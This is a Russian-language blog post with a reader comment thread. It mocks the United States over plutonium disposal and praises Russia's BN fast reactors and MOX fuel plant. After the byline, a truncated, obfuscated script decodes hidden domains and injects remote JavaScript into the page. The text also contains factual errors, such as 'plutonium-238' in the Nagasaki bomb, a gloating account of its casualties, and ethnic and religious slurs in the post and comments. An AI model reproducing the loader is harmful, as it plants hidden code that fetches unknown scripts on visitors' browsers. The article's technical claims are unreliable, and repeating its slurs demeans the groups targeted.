Лицо Путина видели, когда он про отказ США жечь плутоний рассказывал? Серьезное лицо, ни тени ухмылки. Я б не смог. Я б ржал во весь голос. Вы спросите — почему? Сейчас я вам расскажу. Но начну издалека — иначе будет непонятно.
Начнем с “детского” вопроса: кто такой этот плутоний? Элемент с порядковым номером 94 в таблице Менделеева, то есть — трансурановый (более тяжелый, чем уран, у которого порядковый номер — 92).
В природе плутония настолько минимальное количество, что никакого обогащение никаких руд результата не даст. А зачем этот плутоний вообще нужен?
Дело в том, что один из его изотопов — плутоний-239, делится быстрее, чем уран, энергии дает больше.
Ну, или по простому — взрывается он мощнее, чем уран, а воякам что — чем круче “ба-бах”, тем лучше…
Первые порции плутония создавали на ускорителях — дорогое удовольствие, но, как показал эксперимент над Нагасаки, оно того стоило.
Да и первый в истории атомный взрыв — 16.07.1945 близ городка Аламогордо, что в Нью-Мексико, был взрывом именно плутониевой бомбы.
Да, я, безусловно, прошу прощения у всех, кого дальнейший текст покоробит: слово “совесть” в этой заметке отсутствует напрочь. Только технические подробности и цинизм-прагматизм.
Через месяц после Аламогордо эксперименты были успешно продолжены. Над Хиросимой рванул урановый “Малыш”, над Нагасаки — плутониевый “Толстяк”.
Сравнение результатов было явно в пользу плутония. Дело в том, что при атомном взрыве заряд разлетается со скоростью порядка 1000 км/с, потому заряд не весь успевает сдетонировать. Пичалька.
В “Малыше” взорвалось всего 1,4% урана-235, а вот в “Тостяке” успешно сработали 20% плутония-238. Результат получился просто замечательный: 70 тысяч трупов сразу, 100 тысяч инвалидов. Пиндосы апплодировали.
Военным понравилось — физики взяли под козырек. Были разработаны и созданы специальные “плутониевые” реакторы: уран в них горел так, чтобы на выходе получилось максимальное количество плутония.
К началу 90-х, когда это оружейное безумие остановили, США успели накопить 103 тонны плутония, СССР — 170 тонн. Уразуметь, что это количество значит для планеты Земля и для людей, вам помогут несколько цифр.
Итак, «на двоих» имелось 273 тонны Плутония-239, которого в “Толстяке” было всего 6,4 кг. КИЛОГРАММА. На двоих получается 18 750 “толстяков” по 120-130 тысяч смертей в каждом.
Это — не учитывая того, что бомбы более поздних поколений были намного эффективнее. Даже в технологиях 1945 года на складах лежало 2,5 миллиарда смертей. Это — не считая оружейного урана-235.
“Многовато” — подумали большие политики, и результатом этой мысли и стало СОУП 2000-го года. Было решено списать по 34 тонны плутония с носа — то есть сократить запасы примерно на треть. И остановить специализированные “плутониевые” реакторы.
Ну, а что делать с этими тоннами? Период полураспада у плутония-239 — 24 тысячи лет. Закопал в землю тонну, 24 тысячи лет подождал — осталось полтонны. Нормально? Вряд ли.
За 24 000 лет в любой момент выкопай — и клепай “малышей”. Никакие химические реакции не помогут — поливай ты его кислотой или не поливай.
Замешать в тонны мусора? Человек так устроен: что сам поломал, то и починит. Потому и договорились именно сжечь — сжечь в атомных реакторах.
Надеюсь, что пока было понятно? Теперь придется понять, что горит в атомных реакторах и что нужно, чтобы спалить там и плутоний-239. Основной тип атомных реакторов — так называемый “водный”.
Вот бочка с урановыми стержнями, вот в ней атомный “пожар” с температурой от 400 до 630 градусов. Толку с того, кроме как погреться — никакого. Тепло надо “забрать” и как-то по умному использовать.
Вокруг бочки запускают, грубо говоря, “змеевик” с водой, ее и прокачивают насосами. Пришла холодная, “мотнулась” вокруг бочки, ушла горячая. Чтобы не испарилась — воду гоняют под серьезным давлением.
Что будет, если в бочку вместо урана напихать того самого плутония-239? Да ничего хорошего: температура горения будет настолько высока, что водой ее “снять” уже просто невозможно — разорвет трубки и все тут.
Где выход?
Правильно догадались: выход — в тех самых реакторах на быстрых нейтронах. “Быстрый” — это и есть “более горячий”, поскольку в атомной физике температура и энергия — одно и то же.
Чем быстрее мечется атом — тем выше у него температура, грубо говоря. Аббревиатура “БН” — не только “быстрые нейтроны”, но и “быстрый, натриевый”. В “змеевике” в нем крутится не вода, а жидкий натрий.
Натрий плавится при 97 градусах, кипит — при 880 градусах. Логично, что он может утащить на себе бОльшую температуру, да и давление в “змеевике” такое большое, как в случае с водой, не потребуется.
Но всплывает другая беда: при соединении с кислородом в воздухе жидкий натрий горит со страшной силой: любая утечка и полный трындец.
Но великая страна Америка такой реактор делать умеет, едрен-батон! Экспериментальный. Маленький. Еще Франция умеет. Маленький. Экспериментальный. Правда, американский реактор — сгорел.
Французский — тоже сгорел. Японцы попробовали, но в 2010 у них сорвалась труба с топливом и тупо утонула в натрии, а там еще и Фукусима стряслась — свернули и забыли, и забили.
А что там (то есть тут) делают ватники в валенках? Ужос с ними, ужос-ужос. В СССР ведь иностранные газеты было не достать, не почитать — вот ватники и не знали ни черта.
Работали и работали. На экспериментальном натриевом технологии отработали. В 1980 в Белоярске промышленный построили — БН-600. Ни аварий, ни пожаров…
Вот только что БН-800 в сеть воткнули — работает и работает. Дикари. Бензоколонка. Нигде в мире нет — а тут работает. Ужос. Позор какой-то.
Возвращаемся к плутонию. Делать топливный стержень целиком из плутония-239 — не вариант, рвануть может. Тогда было разработано так называемое МОКС-топливо: смесь урана и плутония.
МОКС-топливо в принципе даже на “водных” реакторах жечь можно. Ну, если МАГАТЭ разрешит, даст отдельную лицензию. Тогда можно половину стержней обычных ставить, а половину — с МОКС-топливом.
В Европе 40 реакторов такие лицензии уже получили — в Бельгии, во Франции с Германией. А в Штатах? А в Штатах — нуль. Не получаецца. А в России?
А ватникам лицензия ваще не нужна! У ватников — БН-600, теперь еще и БН-800, которые только под МОКС-топливо и рассчитаны. Дикари…
Производство МОКС-топлива, повторюсь, разработано. Разработано — теоретически. А практически надо бы завод построить, не так ли?
Штаты и начали его у себя строить, в 2008 году приступили. Россия, само собой, мирно дремала — куды ей, лапотной! В 2012 очнулась — тоже начала, в Железногорске.
Американцы работали серьезно — работа большая, денег не жалко. К 2015 году 7,7 млрд потратили — серьезные парни. А лапотники? Ну, откуда у них столько денюх?
Наскребли кое-как 240 миллионов — и все, больше им папа Вова не дал. Ну, что делать, блин. Построили на то, что дадено было. Наверняка еще и украли, чтобы шубохранилище пополнить.
Открыли завод — 28 сентября прошлого года. Завод, само собой, из битых кирпичей, доски торчат во все стороны. МАГАТЭшникам взятку сунули — те и дали “добро”. А американцы?
А американцы сказали Обаме, что им на запустить завод … денег надо. Еще. Чутка. 17.3 млрд. Семнадцать миллиардов 300 миллионов. Вместе — 25 млрд.
На бензоколонке — 240 миллионов и УЖЕ работает. А американцам вот еще бы 17.3 млрд и тогда… Тогда завод — будет. Наверное. Через пять лет. Честное слово. Обязательно.
Вот не в курсе — знает ли Обама русский матерный. Наверно, он ему нужен был, когда он этих “заводчан” услышал. Послушал-послушал — да и послал. В пеший эротический тур.
Вместо денег — э-э-э… — не скажу что по всей роже. Вот такие вот дела. Единственные в мире быстрые реакторы — в России. Единственный в мире завод МОКС-топлива — в России.
А в Америке — сделали айфон. Россия из плутония способна сделать 1 700 закладок МОКС-топлива, сжечь у себя, или продать его европейцам.
А Америка? А Америка сделала айфон. На китайском заводе Фоксконн. А вот куда деть плутоний — это она не знает, у ней денюх столько нету, и китайцам отдавать на отсосинг такое дело они резонно опасаются.
Америка айфоны делает, отстаньте уже!
Автор : Борис Алестэр
<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>
Комментарии
https://www.youtube.com/watch?v=eA3oK-_9hw0
Российские АЭС собирают из хлама, завалявшегося на советских стройках и складах...Половина деталей ржавая, вот они и рванут первыми.
Америкосы строят из новых, крепких запчастей....
А на самом деле логическая последовательность(каждый следующий был продолжением предыдущего) - БН-350(начало 70-х), БН-600, БН-800, БН-1200(хрен знает когда)
За счет этих поставок была спасена промышленость производящая уран. Старый Уран продали, а новый уран -произвели: добыли , обогатили переработали в товарную продукцию.
Весь " завалявшийся" металлолом сдан в " Чермет" - ещё в 90х)))
Ну, или попросить, чтобы и им построили.
Так что, вопрос не был ..риторическим))
Я только утверждаю, что реакторы БН это заслуга советских учёных, инженеров и рабочих.
Нынешний путинский олигархский режим, разрушив рельные производства и науку доставшиеся РФ от СССР, теперь не в состоянии заниматься новациями, и максимум может построить Ё-мобиль да и то в единичном экземпляре.
Надо помнить, что БН-1200 не является чем-то принципиально новым, поэтому даже при олигархате есть шанс его создать, но сейчас появилась новая, чисто путинистская трудность, - разворовывание всего и вся, так что этот проект под угрозой
активная зона - натрий, и натрий - вода. Что такое утечка натрия в статье немного написано, но ни слова о том, что натрий горит не только на воздухе, но и в воде. То есть, кроме угрозы взрыва в первичном теплообменнике добавляют угрозу взрыва во вторичном, и это называется по мнению аффтара "ватные лапотники умнее ффсех")))
Промолчать о таком "решении" ума не хватает, а что Пу может понимать в натрии, вот и подсунули речь, чтобы весь мир за голову схватился...
Ну, и один дурачок бы "ржал во весь голос"...
Потомственный научный коммунист,
Хаббардист.
Киндерсурприст
А как рубль то окуячил -любо-длорого смотреть!
Ну не верю я буржуям с отчествами Владиленовичи, Марленычи , Мэлорычи.Тимурычи
Прохиндеи их родители.
http://atomicexpert.com/content/%D0%BD%D0%B0%D1%82%D1%80%D0%B8%D0%B5%D0%B2%D1%8B%D0%B9-%D1%82%D0%B5%D0%BF%D0%BB%D0%BE%D0%BD%D0%BE%D1%81%D0%B8%D1%82%D0%B5%D0%BB%D1%8C
А
Всем хватило, по самое ..нихочу
А бесконечные аварии и катастрофы на советских атомных ПЛ, где использовали в первом контуре сплавы свинца, тоже мелочи? Есть что-то и пострашней в советской ядерной энергетике? Так поделитесь...
И где я хоть намекнул, что Пу к чему-то причастен, кроме как к застенкам ЧК?)))
Такая высокая стоимость обусловлена многократным сокращением объёмов закупки данного самолёта. В связи с распадом СССР из первоначально запланированных 750 единиц за всё время производства истребителя было закуплено всего 187 единиц
Одного чорнобиля нам хватило!
(С) Вася Ложкин. ужасный киберпространственный имбецил
"Любовь Российская # ответил на комментарий eldar gadjibekov 23 июня 2016, 19:53
разве не Америка навязывает деньги, как главную ценность всему миру?
разве не Америка меряет человека баблом и прочим барахлом?
вы непоследовательны что-то, упыри - верные ученички США, пьющие кровь наших людей."
И до недавнего времени на эти картинки жила вполне так в шоколаде.
Зачем им реакторы-шмалякторы, если у них БАКСЫ есть...)))
Пяток лет назад мысль, что есть (нефте)баксы, остальное купим была популярна и на просторах Б-гохранимого Отечества нашего.
Жизнь эту точку зрения уверенно опровергла.
И долго ли ещё они будут действующими без топлива?
Ну и ради прикола: назовите мне три штуки АЭС в США моложе 25 лет?
Обычно изготавливают из диоксида урана.
Комментарий удален модератором
- Товарищ командир, патроны кончились.
- Ты же коммунист.
и пулемет застрочил с новой силой.
Ну и опять же вопрос: где на территории США расположены производства?
А то получится, как с "яблофоном", который производят в Чине, продают в Европе, а считают американским...)))
Я раньше думал, что афера Кириешки в 90-х - это банальное воровство, ан нет. Это было мегадиверсией по разрушению целой отрасли промышленности в США.... весьма успешной диверсией...)))
Комментарий удален модератором
Поставляли в США. И до сих пор остатки контракта не закрыты.
А Франции скоро и так конец... муслимский, обрезанный...
Жизнь всё расставляет на свои места в короткие исторические сроки. Фактически на наших глазах.
Комментарий удален модератором
Зато чадры и Мечеть французской Богоматери - вполне реальное ближайшее будущее.
Ну и ещё, назовите мне хоть один автомобиль с атомным реактором? )))
Или продукцию химпрома, выпускаемую из плутония.
Нефть - это не только пушистый мех, но и несколько килограммов диетического мяса...)))
А нефть успешно Россия будет продавать в Чину.
Все прекрасно понимают подноготную движений с ценами на нефть. А после банкротства сланцевой аферы и огромных проблем с шельфовой, у России все весьма в порядке с нефтью. Осталось только Верблюдопасию обратно вогнать в пески и вообще проблем не будет со сбытом.
А вон как там во Франции АЭС поживают? Вроде как скоро самой молодой 30 лет стукнет....))))
В России 35 реакторов. 24 старше 30 лет. 9 строящихся.
Тридцать лет назад суммарная выработка в России 16 000 Мвт, во Франции 37 300 МВт, больше чем в два раза, сейчас больше в три раза. У нас никогда не было типа "Билибинская АЭС" 4 реактора по 12 мегаватт или "Обнинская АЭС" 1 реактор 6 мегаватт. Типа даем стране угля мелкого, но... нет даже реакторов по 6 мегаватт у вас никогда больше не было.
https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%90%D0%AD%D0%A1_%D0%BC%D0%B8%D1%80%D0%B0
Чему радуетесь, идиоты?
Комментарий удален модератором
Плутоний - это ТОВАР, а товар нужно использовать или продавать, а не хранить.
лучше напомните-ка нам две вещи:
1) где создали первую в мире атомную электростанцию?
2) Кто имеет самый большой в мире опыт строительства и последующей эксплуатации атомных электростанций.
Спасибо.
2) На этот вопрос ответить сложно, неизвестно чем мерится. Моё мнение, больший опыт строительства и эксплуатации имеет тот, кто больше построил и эксплуатирует.
2 - по вашему критерию - либо Россия, либо Франция. Но, если добавить критерий "портфель заказов", то Россия однозначно выигрывает.
Делать дальнейшие выводы предлагаю вам самостоятельно.
Каламбурчики сами в голову лезут. если США, то плутоний. Если Россия то мельдоний. Может быть начнёте наконец говорить на нормальном языке?
Комментарий удален модератором
Комментарий удален модератором